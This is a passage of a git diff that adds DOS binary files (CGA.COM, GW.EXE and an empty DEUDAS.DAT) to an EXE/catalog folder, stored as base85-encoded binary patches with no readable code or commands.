zuP9Y2gUY1pr5dFgts1LJQB76NSG}NmMOCKSruu{GW7R&@VbxL9RaL6mqJBo5ul}|A z1@&5Wsk&Uf3HvfWQ14KGuHLV%Q#Y!E>Ral2YK!I>&9jYcFz>KehHV=*KKtEg=g<8v|Fea+7QQvD zIq{Qe!=Bu@{?2&S1pS1~>k}sYcEb4yU#HYhZk&8}^0+CPQ)W%sG-cbAgw&?A{^={G cI;Xz5-jVUq`cKw>x_;;M>gnN1`_KOW2c_PmT>t<8 literal 0 HcmV?d00001 diff --git a/EXE/catalog/CGA.COM b/EXE/catalog/CGA.COM new file mode 100644 index 0000000000000000000000000000000000000000..2a597c49095ed951f79c50a671606dba9ff9ed1c GIT binary patch literal 2877 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 Q$~hjt{vq7E0Q&oX0^vIYegFUf literal 0 HcmV?d00001 diff --git a/EXE/catalog/DEUDAS.DAT b/EXE/catalog/DEUDAS.DAT new file mode 100644 index 0000000..bfc808f --- /dev/null +++ b/EXE/catalog/DEUDAS.DAT @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/EXE/catalog/GW.EXE b/EXE/catalog/GW.EXE new file mode 100644 index 0000000000000000000000000000000000000000..fc6cedb72b3acc6e387393724aab8ebcace82633 GIT binary patch literal 70656 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 